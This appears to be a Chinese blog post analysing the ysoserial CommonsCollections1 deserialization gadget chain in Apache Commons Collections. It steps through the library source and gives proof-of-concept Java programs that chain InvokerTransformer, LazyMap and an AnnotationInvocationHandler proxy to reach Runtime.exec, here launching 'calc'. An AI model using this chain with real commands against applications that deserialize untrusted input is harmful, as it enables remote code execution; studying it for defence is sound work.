zoukankan      html  css  js  c++  java
  • ysoserial CommonsCollections1 分析

    ysoserial CommonsCollections1 分析,首先来看官方给出的Gadget分析链条

    
    Gadget chain:
       ObjectInputStream.readObject()
          AnnotationInvocationHandler.readObject()
             Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                   LazyMap.get()
                      ChainedTransformer.transform()
                         ConstantTransformer.transform()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Class.getMethod()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.getRuntime()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.exec()
    
    

    先跟入InvokerTransformer#transform方法

    org/apache/commons/collections/functors/InvokerTransformer.java (105-134行)

    
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
    
    

    到这里可以看到调用到了反射,iMethodName、iParamTypes、iArgs传参都为我们可控的,这样我这边就可以进行InvokerTransformer调用transform方法来调用Runtime来执行系统命令,这里就可以这样写入

    
    package ysoserial.test;
    
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    public class InvokerTransformertest {
        public static void main(String[] args) {
            InvokerTransformer InvokerTransformer = new InvokerTransformer("exec",
                new Class[] { String.class }, new Object[]{new String("calc")});
            InvokerTransformer.transform(Runtime.getRuntime());
        }
    }
    
    

    继续跟入ChainedTransformer接口,这里定义了Transformer[]数组对象,iTransformers传入transform方法进行遍历执行

    org/apache/commons/collections/functors/ChainedTransformer.java(109-125行)

    
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    
    

    这里来看看遍历执行了哪些操作,实例化了另一个ConstantTransformer类然后调用transform方法参数值为1然后向下执行


    向下看就可以看到ConstantTransformer实例化了Runtime.class类来进行执行系统命令

    现在对ChainedTransformer进行编写调用执行命令

    
    package ysoserial.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    public class ChainedTransformertest {
        public static void main(String[] args) {
            Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                    new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
    
            transformerChain.transform(1);
    
        }
    }
    
    

    跟进LazyMap#decorate方法
    org/apache/commons/collections/map/LazyMap.java(86-88行)

    
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    
    

    这里生明了Map,decorate传入了两个参,然后输出实例化LazyMap进行调用,跟到LazyMap里去

    
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    
    

    然后跟到get上去,可以看到get传递了key带入到了factory.transform中进行赋值,然后map.put执行

    
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    
    

    现在来看下TransformedMap类,decorate方法返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组

    在TransformedMap类里还有一个checkSetValue重要的函数,它主要输出调用了valueTransformer.transform,现在还需要分析下readobject里面调用的setValue的入口来调用pop链,入口为:sun.reflect.annotation.AnnotationInvocationHandler

    
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
    
    
    
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;
    
        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
    
        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();
    
        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
    
        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }
    
    

    this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同

    现在要跟进后面关键4句代码

    
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
    

    跟进LazyMap.decorate方法

    
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    
    

    这里传入输出到了LazyMap,跟进去

    
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    
    

    调用了map和this.factory,在LazyMap中触发Transformer的是get方法

    
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }
    
    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    
    

    Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。

    
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    
    
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
       final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    
    

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链

    写个例子弹出计算器

    
    package ysoserial.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class cc1test {
        public static void main(String[] args) throws Exception{
            Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
            };
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
            final Map innerMap = new HashMap();
    
            final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
            final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
    
            final Map testMap = new HashMap();
    
            Map evilMap = (Map) Proxy.newProxyInstance(
                testMap.getClass().getClassLoader(),
                testMap.getClass().getInterfaces(),
                secondInvocationHandler
            );
    
    // 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器
            evilMap.entrySet();
    
        }
    }
    
    

  • 相关阅读:
    C++之类和对象
    PHP程序设计基础
    PHP函数和MySQL数据库
    HTML语言基础
    文件和目录1(文件属性和权限)
    文件IO
    查找
    使用tcpdump抓包实例
    导入模块的2种方法
    ansible启用sudo执行命令
  • 原文地址:https://www.cnblogs.com/jicklun/p/13994153.html
Copyright © 2011-2022 走看看